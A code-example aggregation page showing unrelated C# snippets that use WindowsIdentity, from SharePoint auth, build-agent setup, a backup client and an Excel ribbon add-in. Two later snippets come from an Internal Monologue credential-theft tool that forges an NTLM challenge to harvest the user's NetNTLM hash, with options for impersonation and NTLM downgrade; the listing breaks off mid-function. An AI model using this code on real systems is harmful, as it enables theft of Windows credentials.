    /// behalf of the specified WindowsIdentity and intended for application at the targetApplicationUri using the 
    /// targetRealm. If no Realm is specified in web.config, an auth challenge will be issued to the 
    /// targetApplicationUri to discover it.
    /// </summary>
    /// <param name="targetApplicationUri">Url of the target SharePoint site</param>
    /// <param name="identity">Windows identity of the user on whose behalf to create the access token</param>
    /// <returns>A ClientContext using an access token with an audience of the target application</returns>
    public static ClientContext GetS2SClientContextWithWindowsIdentity(
            Uri targetApplicationUri,
            WindowsIdentity identity)
    {
        string realm = string.IsNullOrEmpty(Realm) ? GetRealmFromTargetUrl(targetApplicationUri) : Realm;

            JsonWebTokenClaim[] claims = identity != null ? GetClaimsWithWindowsIdentity(identity) : null;

            string accessToken = GetS2SAccessTokenWithClaims(targetApplicationUri.Authority, realm, claims);

            return GetClientContextWithAccessToken(targetApplicationUri.ToString(), accessToken);
    }
Пример #12
0
        /// <summary>
        /// Login to the Hub and retrieve configuration.
        /// Returns an array of 2 IPEndPoints : the Hub ip and UDP port, the node's IP and UDP port
        /// these values are used to listen for udp PNG and WAKEUP messages
        /// </summary>
        /// <param name="args">Arguments.</param>
        public IPEndPoint[] Login(string[] args)
        {
            Console.WriteLine("Client.cs Login() : args=" + string.Join(",", args));
            ConfigManager.SetValue("Hub.Port", "52561");
            ConfigManager.SetValue("Security.CertificateFile", "certificate.pfx");

            ParseParams(args);

            WindowsIdentity runningAccount = WindowsIdentity.GetCurrent();

            if (Utilities.PlatForm.IsUnixClient())
            {
                if (runningAccount.Name != "root")
                {
                    Console.WriteLine("Warning : insufficient privileges. Should be run as 'root'");
                    Logger.Append(Severity.WARNING, "Insufficient privileges. Should be run as 'root'");
                }
            }
            else
            {
                WindowsPrincipal principal = new WindowsPrincipal(runningAccount);
                if (!principal.IsInRole(WindowsBuiltInRole.Administrator) &&
                    !principal.IsInRole(WindowsBuiltInRole.SystemOperator) &&
                    !principal.IsInRole(WindowsBuiltInRole.BackupOperator))
                {
                    //Console.WriteLine("ERROR : insufficient privileges. Administrator/System/BackupOperator account is required.");
                    Logger.Append(Severity.ERROR, "Insufficient privileges. Administrator/System/BackupOperator account is required.");
                }
            }
            if (Utilities.ConfigManager.GetValue("Hub.IP") == null || Utilities.ConfigManager.GetValue("Hub.Port") == null ||
                Utilities.ConfigManager.GetValue("Security.CertificateFile") == null)
            {
                Console.WriteLine("Some parameters are missing." + Environment.NewLine);
                PrintHelp();
            }


            Logger.Append(Severity.INFO, "### Starting Node. Current date:" + DateTime.Now.ToString() + ", Version: " + Utilities.PlatForm.Instance().NodeVersion
                          + ", OS: " + Utilities.PlatForm.Instance().OS + ", Runtime: " + Utilities.PlatForm.Instance().Runtime);
            Logger.Append(Severity.DEBUG, "Neither connected nor running");
            bool hasCert = false;

            if (File.Exists(ConfigManager.GetValue("Security.CertificateFile")))
            {
                hasCert = true;
            }
            if (user.ConnectToHub(hasCert))
            {
                if (!hasCert)
                {
                    user.CertificateGeneratedEvent.WaitOne();
                    user.Disconnect(true, false);
                    user = null;
                    Login(args);
                }
            }
            else
            {
                throw new Exception("cannot connect to Hub : ");
            }

            while (user.Run)
            {
                Thread.Sleep(10000);
                if (user.Status == NodeStatus.Idle && user.LastReceivedAction.AddMinutes(2) < DateTime.Now)
                {
                    Logger.Append(Severity.INFO, "Inactive for more than 2 minutes, unloading... node status=" + user.Status + ", last received action was " + user.LastReceivedAction);
                    Stop(true);
                    var udpEndPoints = new System.Net.IPEndPoint[2];
                    Console.WriteLine("will use ip '" + Utilities.ConfigManager.GetValue("Hub.IP") + "' as hub udp endpoint");
                    udpEndPoints[0] = new IPEndPoint(
                        IPAddress.Parse(
                            Utilities.ConfigManager.GetValue("Hub.IP")),
                        int.Parse(Utilities.ConfigManager.GetValue("Hub.Port"))
                        );
                    udpEndPoints[1] = new IPEndPoint(IPAddress.Any, user.ListenPort);
                    return(udpEndPoints);
                }
            }
            return(null);
        }
Пример #13
0
        public async Task ConfigureAsync(CommandSettings command)
        {
            Trace.Info(nameof(ConfigureAsync));
            if (IsConfigured())
            {
                throw new InvalidOperationException(StringUtil.Loc("AlreadyConfiguredError"));
            }

            // TEE EULA
            bool acceptTeeEula = false;

            switch (Constants.Agent.Platform)
            {
            case Constants.OSPlatform.OSX:
            case Constants.OSPlatform.Linux:
                // Write the section header.
                WriteSection(StringUtil.Loc("EulasSectionHeader"));

                // Verify the EULA exists on disk in the expected location.
                string eulaFile = Path.Combine(IOUtil.GetExternalsPath(), Constants.Path.TeeDirectory, "license.html");
                ArgUtil.File(eulaFile, nameof(eulaFile));

                // Write elaborate verbiage about the TEE EULA.
                _term.WriteLine(StringUtil.Loc("TeeEula", eulaFile));
                _term.WriteLine();

                // Prompt to acccept the TEE EULA.
                acceptTeeEula = command.GetAcceptTeeEula();
                break;

            case Constants.OSPlatform.Windows:
                break;

            default:
                throw new NotSupportedException();
            }

            // TODO: Check if its running with elevated permission and stop early if its not

            // Loop getting url and creds until you can connect
            string serverUrl = null;
            ICredentialProvider credProvider = null;

            WriteSection(StringUtil.Loc("ConnectSectionHeader"));
            while (true)
            {
                // Get the URL
                serverUrl = command.GetUrl();

                // Get the credentials
                credProvider = GetCredentialProvider(command, serverUrl);
                VssCredentials creds = credProvider.GetVssCredentials(HostContext);
                Trace.Info("cred retrieved");
                try
                {
                    // Validate can connect.
                    await TestConnectAsync(serverUrl, creds);

                    Trace.Info("Connect complete.");
                    break;
                }
                catch (Exception e) when(!command.Unattended)
                {
                    _term.WriteError(e);
                    _term.WriteError(StringUtil.Loc("FailedToConnect"));
                }
            }

            // We want to use the native CSP of the platform for storage, so we use the RSACSP directly
            RSAParameters publicKey;
            var           keyManager = HostContext.GetService <IRSAKeyManager>();

            using (var rsa = keyManager.CreateKey())
            {
                publicKey = rsa.ExportParameters(false);
            }

            // Loop getting agent name and pool name
            string poolName  = null;
            int    poolId    = 0;
            string agentName = null;

            WriteSection(StringUtil.Loc("RegisterAgentSectionHeader"));
            while (true)
            {
                poolName = command.GetPool();
                try
                {
                    poolId = await GetPoolId(poolName);

                    Trace.Info($"PoolId for agent pool '{poolName}' is '{poolId}'.");
                    break;
                }
                catch (Exception e) when(!command.Unattended)
                {
                    _term.WriteError(e);
                    _term.WriteError(StringUtil.Loc("FailedToFindPool"));
                }
            }

            TaskAgent agent;

            while (true)
            {
                agentName = command.GetAgentName();

                // Get the system capabilities.
                // TODO: Hook up to ctrl+c cancellation token.
                _term.WriteLine(StringUtil.Loc("ScanToolCapabilities"));
                Dictionary <string, string> systemCapabilities = await HostContext.GetService <ICapabilitiesManager>().GetCapabilitiesAsync(
                    new AgentSettings {
                    AgentName = agentName
                }, CancellationToken.None);

                _term.WriteLine(StringUtil.Loc("ConnectToServer"));
                agent = await GetAgent(agentName, poolId);

                if (agent != null)
                {
                    if (command.GetReplace())
                    {
                        // Update existing agent with new PublicKey, agent version and SystemCapabilities.
                        agent = UpdateExistingAgent(agent, publicKey, systemCapabilities);

                        try
                        {
                            agent = await _agentServer.UpdateAgentAsync(poolId, agent);

                            _term.WriteLine(StringUtil.Loc("AgentReplaced"));
                            break;
                        }
                        catch (Exception e) when(!command.Unattended)
                        {
                            _term.WriteError(e);
                            _term.WriteError(StringUtil.Loc("FailedToReplaceAgent"));
                        }
                    }
                    else if (command.Unattended)
                    {
                        // if not replace and it is unattended config.
                        throw new TaskAgentExistsException(StringUtil.Loc("AgentWithSameNameAlreadyExistInPool", poolId, agentName));
                    }
                }
                else
                {
                    // Create a new agent.
                    agent = CreateNewAgent(agentName, publicKey, systemCapabilities);

                    try
                    {
                        agent = await _agentServer.AddAgentAsync(poolId, agent);

                        _term.WriteLine(StringUtil.Loc("AgentAddedSuccessfully"));
                        break;
                    }
                    catch (Exception e) when(!command.Unattended)
                    {
                        _term.WriteError(e);
                        _term.WriteError(StringUtil.Loc("AddAgentFailed"));
                    }
                }
            }

            // respect the serverUrl resolve by server.
            // in case of agent configured using collection url instead of account url.
            string agentServerUrl;

            if (agent.Properties.TryGetValidatedValue <string>("ServerUrl", out agentServerUrl) &&
                !string.IsNullOrEmpty(agentServerUrl))
            {
                Trace.Info($"Agent server url resolve by server: '{agentServerUrl}'.");

                // we need make sure the Host component of the url remain the same.
                UriBuilder inputServerUrl          = new UriBuilder(serverUrl);
                UriBuilder serverReturnedServerUrl = new UriBuilder(agentServerUrl);
                if (Uri.Compare(inputServerUrl.Uri, serverReturnedServerUrl.Uri, UriComponents.Host, UriFormat.Unescaped, StringComparison.OrdinalIgnoreCase) != 0)
                {
                    inputServerUrl.Path = serverReturnedServerUrl.Path;
                    Trace.Info($"Replace server returned url's host component with user input server url's host: '{inputServerUrl.Uri.AbsoluteUri}'.");
                    serverUrl = inputServerUrl.Uri.AbsoluteUri;
                }
                else
                {
                    serverUrl = agentServerUrl;
                }
            }

            // See if the server supports our OAuth key exchange for credentials
            if (agent.Authorization != null &&
                agent.Authorization.ClientId != Guid.Empty &&
                agent.Authorization.AuthorizationUrl != null)
            {
                var credentialData = new CredentialData
                {
                    Scheme = Constants.Configuration.OAuth,
                    Data   =
                    {
                        { "clientId",         agent.Authorization.ClientId.ToString("D")       },
                        { "authorizationUrl", agent.Authorization.AuthorizationUrl.AbsoluteUri },
                    },
                };

                // Save the negotiated OAuth credential data
                _store.SaveCredential(credentialData);
            }
            else
            {
                // Save the provided admin credential data for compat with existing agent
                _store.SaveCredential(credProvider.CredentialData);
            }

            // Testing agent connection, detect any protential connection issue, like local clock skew that cause OAuth token expired.
            _term.WriteLine(StringUtil.Loc("TestAgentConnection"));
            var            credMgr    = HostContext.GetService <ICredentialManager>();
            VssCredentials credential = credMgr.LoadCredentials();
            VssConnection  conn       = ApiUtil.CreateConnection(new Uri(serverUrl), credential);
            var            agentSvr   = HostContext.GetService <IAgentServer>();

            try
            {
                await agentSvr.ConnectAsync(conn);
            }
            catch (VssOAuthTokenRequestException ex) when(ex.Message.Contains("Current server time is"))
            {
                // there are two exception messages server send that indicate clock skew.
                // 1. The bearer token expired on {jwt.ValidTo}. Current server time is {DateTime.UtcNow}.
                // 2. The bearer token is not valid until {jwt.ValidFrom}. Current server time is {DateTime.UtcNow}.
                Trace.Error("Catch exception during test agent connection.");
                Trace.Error(ex);
                throw new Exception(StringUtil.Loc("LocalClockSkewed"));
            }

            // We will Combine() what's stored with root.  Defaults to string a relative path
            string workFolder = command.GetWork();

            // notificationPipeName for Hosted agent provisioner.
            string notificationPipeName = command.GetNotificationPipeName();

            // Get Agent settings
            var settings = new AgentSettings
            {
                AcceptTeeEula        = acceptTeeEula,
                AgentId              = agent.Id,
                AgentName            = agentName,
                NotificationPipeName = notificationPipeName,
                PoolId     = poolId,
                PoolName   = poolName,
                ServerUrl  = serverUrl,
                WorkFolder = workFolder,
            };

            _store.SaveSettings(settings);
            _term.WriteLine(StringUtil.Loc("SavedSettings", DateTime.UtcNow));

#if OS_WINDOWS
            // config windows service as part of configuration
            bool runAsService = command.GetRunAsService();
            if (!runAsService)
            {
                return;
            }
            else
            {
                if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
                {
                    Trace.Error("Needs Administrator privileges for configure agent as windows service.");
                    throw new SecurityException(StringUtil.Loc("NeedAdminForConfigAgentWinService"));
                }

                Trace.Info("Configuring to run the agent as service");
                var serviceControlManager = HostContext.GetService <IWindowsServiceControlManager>();
                serviceControlManager.ConfigureService(settings, command);
            }
#elif OS_LINUX || OS_OSX
            // generate service config script for OSX and Linux, GenerateScripts() will no-opt on windows.
            var serviceControlManager = HostContext.GetService <ILinuxServiceControlManager>();
            serviceControlManager.GenerateScripts(settings);
#endif
        }
Пример #14
0
        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        private void InitializeComponent()
        {
            this.tabFinance_ToolsV2      = new RibbonTab();
            this.ftControls              = new RibbonGroup();
            this.btnView_Doc             = new RibbonButton();
            this.btnView_Journal         = new RibbonButton();
            this.btnView_PDF             = new RibbonButton();
            this.btnView_ViewXML         = new RibbonButton();
            this.btnView_Rep             = new RibbonButton();
            this.btnTemplate_Save        = new RibbonButton();
            this.btnAd_DocView           = new RibbonButton();
            this.btnAd_AttachPDF         = new RibbonButton();
            this.btnAd_NewButton         = new RibbonButton();
            this.btnAd_DataFieldsSetting = new RibbonButton();;
            this.btnPreferences          = new RibbonButton();
            btnCreateXMLorTextFile       = new RibbonButton();
            this.btnUpgrade              = new RibbonButton();
            this.btnSecurity             = new RibbonButton();
            this.btnATVP_Output          = new RibbonCheckBox();
            this.btnATVP_View            = new RibbonCheckBox();
            this.btnATVP_Help            = new RibbonCheckBox();
            this.grpDocuments            = new RibbonGroup();
            this.grpAdmin = new RibbonGroup();
            this.grpATVP  = new RibbonGroup();
            this.grpATC   = new RibbonGroup();
            this.grpBlank = new RibbonGroup();
            this.suspendToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
            this.contextMenuStrip2        = new System.Windows.Forms.ContextMenuStrip();
            this.tabFinance_ToolsV2.SuspendLayout();
            this.contextMenuStrip2.SuspendLayout();
            this.ftControls.SuspendLayout();
            //
            // tabFinance_Tools
            //
            this.tabFinance_ToolsV2.ControlId.ControlIdType = Microsoft.Office.Tools.Ribbon.RibbonControlIdType.Office;
            this.tabFinance_ToolsV2.Groups.Add(grpBlank);
            this.tabFinance_ToolsV2.Groups.Add(this.ftControls);
            this.tabFinance_ToolsV2.Groups.Add(this.grpATC);
            this.tabFinance_ToolsV2.Groups.Add(this.grpDocuments);
            this.tabFinance_ToolsV2.Groups.Add(this.grpAdmin);
            this.tabFinance_ToolsV2.Groups.Add(this.grpATVP);
            this.tabFinance_ToolsV2.Label = "Finance Tools V2";
            this.tabFinance_ToolsV2.Name  = "tabFinance_Toolsv2";
            this.grpDocuments.Label       = "Templates";
            //
            // ftControls
            //
            this.ftControls.Items.Add(this.btnView_Doc);
            this.ftControls.Items.Add(this.btnView_Journal);
            this.ftControls.Items.Add(this.btnView_PDF);
            this.ftControls.Items.Add(this.btnView_Rep);
            this.ftControls.Items.Add(this.btnView_ViewXML);
            this.ftControls.Label = "Global Controls";
            this.ftControls.Name  = "ftControls";
            //
            // btnView_Doc
            //
            this.btnView_Doc.ControlSize   = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge;
            this.btnView_Doc.Description   = "View Document";
            this.btnView_Doc.Label         = "View Document";
            this.btnView_Doc.Name          = "btnView_Doc";
            this.btnView_Doc.OfficeImageId = "FindDialogExcel";
            this.btnView_Doc.ShowImage     = true;
            this.btnView_Doc.SuperTip      = "Click here to drill down to document";
            this.btnView_Doc.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnCtrl_VD_Click);
            //
            // btnView_Journal
            //
            this.btnView_Journal.ControlSize   = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge;
            this.btnView_Journal.Description   = "View Journal";
            this.btnView_Journal.Label         = "View Journal";
            this.btnView_Journal.Name          = "btnView_Journal";
            this.btnView_Journal.OfficeImageId = "FunctionsFinancialInsertGallery";
            this.btnView_Journal.ShowImage     = true;
            this.btnView_Journal.SuperTip      = "Click here to drill down to journal";
            this.btnView_Journal.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnJournal_Click);
            //
            // btnView_PDF
            //
            this.btnView_PDF.ControlSize = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge;
            this.btnView_PDF.Description = "View PDF";
            this.btnView_PDF.Label       = "View PDF";
            this.btnView_PDF.Name        = "btnView_PDF";
            this.btnView_PDF.Image       = ExcelAddIn4.Properties.Resources.resizeApi;
            this.btnView_PDF.ShowImage   = true;
            this.btnView_PDF.SuperTip    = "Click here to drill down to PDF";
            this.btnView_PDF.Click      += new System.EventHandler <RibbonControlEventArgs>(this.btnPDF_Click);
            //
            // btnView_Rep
            //
            this.btnView_Rep.ControlSize   = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge;
            this.btnView_Rep.Description   = "Transaction Search";
            this.btnView_Rep.Label         = "Transaction Search";
            this.btnView_Rep.Name          = "btnView_Rep";
            this.btnView_Rep.OfficeImageId = "AdpDiagramTableModesMenu";
            this.btnView_Rep.ShowImage     = true;
            this.btnView_Rep.SuperTip      = "Click here to start transaction search!";
            this.btnView_Rep.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnCtrl_VR_Click);
            //
            // btnView_ViewXML
            //
            this.btnView_ViewXML.ControlSize   = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge;
            this.btnView_ViewXML.Description   = "View XML";
            this.btnView_ViewXML.Label         = "View XML";
            this.btnView_ViewXML.Name          = "btnView_ViewXML";
            this.btnView_ViewXML.OfficeImageId = "SourceControlShowDifferences";
            this.btnView_ViewXML.ShowImage     = true;
            this.btnView_ViewXML.SuperTip      = "Click here to start view xml!";
            this.btnView_ViewXML.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnCtrl_VX_Click);
            //
            // btnTemplate_Save
            //
            this.btnTemplate_Save.Label         = "Save/Amend Template";
            this.btnTemplate_Save.Name          = "btnTemplate_Save";
            this.btnTemplate_Save.OfficeImageId = "FileSaveACopy";
            this.btnTemplate_Save.ShowImage     = true;
            this.btnTemplate_Save.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnTemplate_Save_Click);
            BasePage.VerifyButton("Save/Amend Template - Global", "3", this.btnTemplate_Save);
            //
            // grpAdmin
            //
            this.grpAdmin.Items.Add(this.btnAd_DocView);
            this.grpAdmin.Items.Add(this.btnAd_AttachPDF);
            this.grpAdmin.Items.Add(this.btnAd_NewButton);
            this.grpAdmin.Items.Add(this.btnAd_DataFieldsSetting);
            this.grpAdmin.Items.Add(this.btnCreateXMLorTextFile);
            this.grpAdmin.Items.Add(this.btnTemplate_Save);
            this.grpAdmin.Items.Add(this.btnPreferences);
            this.grpAdmin.Items.Add(this.btnUpgrade);
            this.grpAdmin.Items.Add(this.btnSecurity);
            this.grpAdmin.Label = "Administration";
            this.grpAdmin.Name  = "grpAdmin";
            //
            // grpATVP
            //
            this.grpATVP.Items.Add(this.btnATVP_View);
            this.grpATVP.Items.Add(this.btnATVP_Output);
            this.grpATVP.Items.Add(this.btnATVP_Help);
            this.grpATVP.Label = "Visible Panes";
            this.grpATVP.Name  = "grpATVP";
            //
            // grpATC
            //
            string userName = WindowsIdentity.GetCurrent().Name;
            var    wUserID  = (from FT_user in db.rsUsers
                               where FT_user.WindowsUserID == userName
                               select FT_user.ft_id).First();

            System.Collections.Generic.List <string> list = ft.GetUserGroups(wUserID.ToString());
            ButtonViewCount = 0;
            for (int i = 0; i < list.Count; i++)
            {
                string groupid      = list[i];
                bool   groupdisable = (bool)ft.GetGroupDisableByID(int.Parse(groupid));
                if (groupdisable)
                {
                    continue;
                }
                DataTable dt = ft.GetGroupButtonsView(groupid);

                var query = from t in dt.AsEnumerable()
                            group t by new { t1 = t.Field <string>("ButtonGroup"), t2 = t.Field <string>("ButtonName") } into m
                    select new
                {
                    ButtonName  = m.First().Field <string>("ButtonName"),
                    ButtonText  = m.First().Field <string>("ButtonText"),
                    ButtonIcon  = m.First().Field <string>("ButtonIcon"),
                    ButtonGroup = m.First().Field <string>("ButtonGroup"),
                    ButtonSize  = m.First().Field <string>("ButtonSize"),
                    ButtonOrder = m.First().Field <int>("ButtonOrder"),
                    GroupOrder  = m.First().Field <int>("GroupOrder"),
                    TAG         = m.First().Field <string>("TemplateID") + "," + m.First().Field <string>("ButtonName")
                };
                string currentGroup = string.Empty;
                foreach (var employee in query)
                {//Microsoft.Office.Tools.Ribbon.RibbonSeparator rs = new Microsoft.Office.Tools.Ribbon.RibbonSeparator();
                    if (buttonExist(employee.TAG))
                    {
                        continue;
                    }
                    Microsoft.Office.Tools.Ribbon.RibbonButton newbutton = new RibbonButton();
                    newbutton.Label         = employee.ButtonName;//newbutton.Name = "btnATC_NewButton" + ButtonViewCount.ToString();
                    newbutton.OfficeImageId = employee.ButtonIcon;
                    newbutton.Tag           = employee.TAG;
                    newbutton.SuperTip      = employee.ButtonText;
                    newbutton.ShowImage     = true;
                    if (employee.ButtonSize == "32")
                    {
                        newbutton.ControlSize = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge;
                    }
                    else
                    {
                        newbutton.ControlSize = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeRegular;
                    }
                    newbutton.Click  += new System.EventHandler <RibbonControlEventArgs>(this.btnNewButton_Click);
                    newbutton.Visible = false;
                    this.grpATC.Items.Add(newbutton);
                    ButtonViewCount++;
                }
            }
            this.grpATC.Label = "Template Controls";
            this.grpATC.Name  = "grpATC";
            //
            // btnAd_DocView
            //
            this.btnAd_DocView.Label         = "Add Document View";
            this.btnAd_DocView.Name          = "btnAd_DocView";
            this.btnAd_DocView.OfficeImageId = "ObjectAddText";
            this.btnAd_DocView.ShowImage     = true;
            this.btnAd_DocView.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnAd_DocView_Click);
            BasePage.VerifyButton("Add Document View - Global", "3", this.btnAd_DocView);
            //
            // btnAd_AttachPDF
            //
            this.btnAd_AttachPDF.Label         = "Attach PDF";
            this.btnAd_AttachPDF.Name          = "btnAd_AttachPDF";
            this.btnAd_AttachPDF.OfficeImageId = "FileSaveAsPdfOrXps";
            this.btnAd_AttachPDF.ShowImage     = true;
            this.btnAd_AttachPDF.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnAd_AttachPDF_Click);
            BasePage.VerifyButton("Attach PDF - Global", "3", this.btnAd_AttachPDF);
            //
            // btnAd_NewButton
            //
            this.btnAd_NewButton.Label         = "Create New Action";
            this.btnAd_NewButton.Name          = "btnAd_NewButton";
            this.btnAd_NewButton.OfficeImageId = "PivotSubtotal";
            this.btnAd_NewButton.ShowImage     = true;
            this.btnAd_NewButton.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnAd_NewButton_Click);
            BasePage.VerifyButton("Create New Action - Global", "3", this.btnAd_NewButton);
            //
            // btnATVP_View
            //
            this.btnATVP_View.Label  = "View";
            this.btnATVP_View.Name   = "btnATVP_View";
            this.btnATVP_View.Click += new System.EventHandler <RibbonControlEventArgs>(this.btnATVP_View_Click);
            //
            // btnPreferences
            //
            this.btnPreferences.Label         = "Preferences...";
            this.btnPreferences.Name          = "btnPreferences";
            this.btnPreferences.OfficeImageId = "DefinePrintStyles";
            this.btnPreferences.ShowImage     = true;
            this.btnPreferences.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnPreferences_Preferences_Click);
            //
            // btnCreateXMLorTextFile
            //
            this.btnCreateXMLorTextFile.Label         = "Create XML/Text Profile";
            this.btnCreateXMLorTextFile.Name          = "btnCreateXMLorTextFile";
            this.btnCreateXMLorTextFile.OfficeImageId = "XmlExport";
            this.btnCreateXMLorTextFile.ShowImage     = true;
            this.btnCreateXMLorTextFile.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnCreateXMLorTextFile_Click);
            BasePage.VerifyButton("Create XML or Text File Profile - Global", "3", this.btnCreateXMLorTextFile);
            //
            // btnUpgrade
            //
            this.btnUpgrade.Label         = "Synchronization";
            this.btnUpgrade.Name          = "Synchronization";
            this.btnUpgrade.OfficeImageId = "TableExportTableToSharePointList";
            this.btnUpgrade.ShowImage     = true;
            this.btnUpgrade.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnUpgrade_Click);
            BasePage.VerifyButton("Upgrade - Global", "3", this.btnUpgrade);
            //
            // btnSecurity
            //
            this.btnSecurity.Label         = "Security";
            this.btnSecurity.Name          = "Users";
            this.btnSecurity.OfficeImageId = "FileDocumentEncrypt";
            this.btnSecurity.ShowImage     = true;
            this.btnSecurity.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnSecurity_Click);
            BasePage.VerifyButton("Security - Global", "3", this.btnSecurity);

            //
            // btnATVP_Output
            //
            this.btnATVP_Output.Label  = "Settings";
            this.btnATVP_Output.Name   = "btnATVP_Output";
            this.btnATVP_Output.Click += new System.EventHandler <RibbonControlEventArgs>(this.btnATVP_Output_Click);
            //
            // btnATVP_Help
            //
            this.btnATVP_Help.Label  = "Help";
            this.btnATVP_Help.Name   = "btnATVP_Help";
            this.btnATVP_Help.Click += new System.EventHandler <RibbonControlEventArgs>(this.btnATVP_Help_Click);
            //
            // btnAd_DataFieldsSetting
            //
            this.btnAd_DataFieldsSetting.Label         = "Amend Code Descriptions";
            this.btnAd_DataFieldsSetting.Name          = "btnAd_DataFieldsSetting";
            this.btnAd_DataFieldsSetting.OfficeImageId = "DatabaseObjectDependencies";
            this.btnAd_DataFieldsSetting.ShowImage     = true;
            this.btnAd_DataFieldsSetting.Click        += new System.EventHandler <RibbonControlEventArgs>(this.btnAd_DataFieldsSetting_Click);
            BasePage.VerifyButton("Amend Code Descriptions - Global", "3", this.btnAd_DataFieldsSetting);
            //
            // suspendToolStripMenuItem
            //
            this.suspendToolStripMenuItem.Name    = "suspendToolStripMenuItem";
            this.suspendToolStripMenuItem.Size    = new System.Drawing.Size(152, 22);
            this.suspendToolStripMenuItem.Text    = "Abort";
            this.suspendToolStripMenuItem.Enabled = false;
            this.suspendToolStripMenuItem.Click  += new System.EventHandler(this.suspendToolStripMenuItem_Click);
            //
            // contextMenuStrip2
            //
            this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
                this.suspendToolStripMenuItem
            });
            this.contextMenuStrip2.Name = "contextMenuStrip2";
            this.contextMenuStrip2.Size = new System.Drawing.Size(153, 136);
            //
            // Ribbon1
            //
            this.Name       = "Ribbon1";
            this.RibbonType = "Microsoft.Excel.Workbook";
            this.Tabs.Add(this.tabFinance_ToolsV2);
            this.Load += new System.EventHandler <RibbonUIEventArgs>(this.Ribbon2_Load);
            this.tabFinance_ToolsV2.ResumeLayout(false);
            this.tabFinance_ToolsV2.PerformLayout();
            this.contextMenuStrip2.ResumeLayout(false);
            this.ftControls.ResumeLayout(false);
            this.ftControls.PerformLayout();
        }
Пример #15
0
 /// <summary>
 /// Runs asynchronous thread
 /// </summary>
 /// <param name="action">Method to run</param>
 protected void RunAsync(AsyncAction action)
 {
     ctlAsyncLog.RunAsync(action, WindowsIdentity.GetCurrent());
 }
Пример #16
0
 //This function is taken from https://stackoverflow.com/questions/3600322/check-if-the-current-user-is-administrator
 private static bool IsElevated()
 {
     return((new WindowsPrincipal(WindowsIdentity.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator));
 }
Пример #17
0
        //This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788
        private static byte[] InternalMonologueForCurrentUser(string challenge)
        {
            SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);

            SECURITY_HANDLE _hOutboundCred;

            _hOutboundCred.LowPart = _hOutboundCred.HighPart = IntPtr.Zero;
            SECURITY_INTEGER ClientLifeTime;

            ClientLifeTime.LowPart  = 0;
            ClientLifeTime.HighPart = 0;
            SECURITY_HANDLE _hClientContext;
            uint            ContextAttributes = 0;

            // Acquire credentials handle for current user
            AcquireCredentialsHandle(
                WindowsIdentity.GetCurrent().Name,
                "NTLM",
                2,
                IntPtr.Zero,
                IntPtr.Zero,
                0,
                IntPtr.Zero,
                ref _hOutboundCred,
                ref ClientLifeTime
                );

            // Get a type-1 message from NTLM SSP
            InitializeSecurityContext(
                ref _hOutboundCred,
                IntPtr.Zero,
                WindowsIdentity.GetCurrent().Name,
                0x00000800,
                0,
                0x10,
                IntPtr.Zero,
                0,
                out _hClientContext,
                out ClientToken,
                out ContextAttributes,
                out ClientLifeTime
                );
            ClientToken.Dispose();

            ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);

            // Custom made type-2 message with the specified challenge
            byte[]        challengeBytes = StringToByteArray(challenge);
            SecBufferDesc ServerToken    = new SecBufferDesc(new byte[] { 78, 84, 76, 77, 83, 83, 80, 0, 2, 0, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 1, 0x82, 0, 0, challengeBytes[0], challengeBytes[1], challengeBytes[2], challengeBytes[3], challengeBytes[4], challengeBytes[5], challengeBytes[6], challengeBytes[7], 0, 0, 0, 0, 0, 0, 0 });

            InitializeSecurityContext(
                ref _hOutboundCred,
                ref _hClientContext,
                WindowsIdentity.GetCurrent().Name,
                0x00000800,
                0,
                0x10,
                ref ServerToken,
                0,
                out _hClientContext,
                out ClientToken,
                out ContextAttributes,
                out ClientLifeTime
                );
            byte[] result = ClientToken.GetSecBufferByteArray();

            ClientToken.Dispose();
            ServerToken.Dispose();

            //Extract the NetNTLM response from a type-3 message and return it
            return(ParseNTResponse(result));
        }
Пример #18
0
        public static void Main(string[] args)
        {
            Dictionary <string, string> argDict = ParseArgs(args);
            //Set defaults
            bool   impersonate = true, downgrade = true, restore = true, verbose = false;
            string challenge = "1122334455667788";

            if (args.Length > 0 && argDict.Count == 0)
            {
                PrintMenu();
                return;
            }

            if (argDict.ContainsKey("impersonate"))
            {
                if (bool.TryParse(argDict["impersonate"], out impersonate) == false)
                {
                    PrintError("Impersonate must be a boolean value (True/False)");
                    return;
                }
            }
            if (argDict.ContainsKey("downgrade"))
            {
                if (bool.TryParse(argDict["downgrade"], out downgrade) == false)
                {
                    PrintError("Downgrade must be a boolean value (True/False)");
                    return;
                }
            }
            if (argDict.ContainsKey("restore"))
            {
                if (bool.TryParse(argDict["restore"], out restore) == false)
                {
                    PrintError("Restore must be a boolean value (True/False)");
                    return;
                }
            }
            if (argDict.ContainsKey("verbose"))
            {
                if (bool.TryParse(argDict["verbose"], out verbose) == false)
                {
                    PrintError("Verbose must be a boolean value (True/False)");
                    return;
                }
            }
            if (argDict.ContainsKey("challenge"))
            {
                challenge = argDict["challenge"].ToUpper();
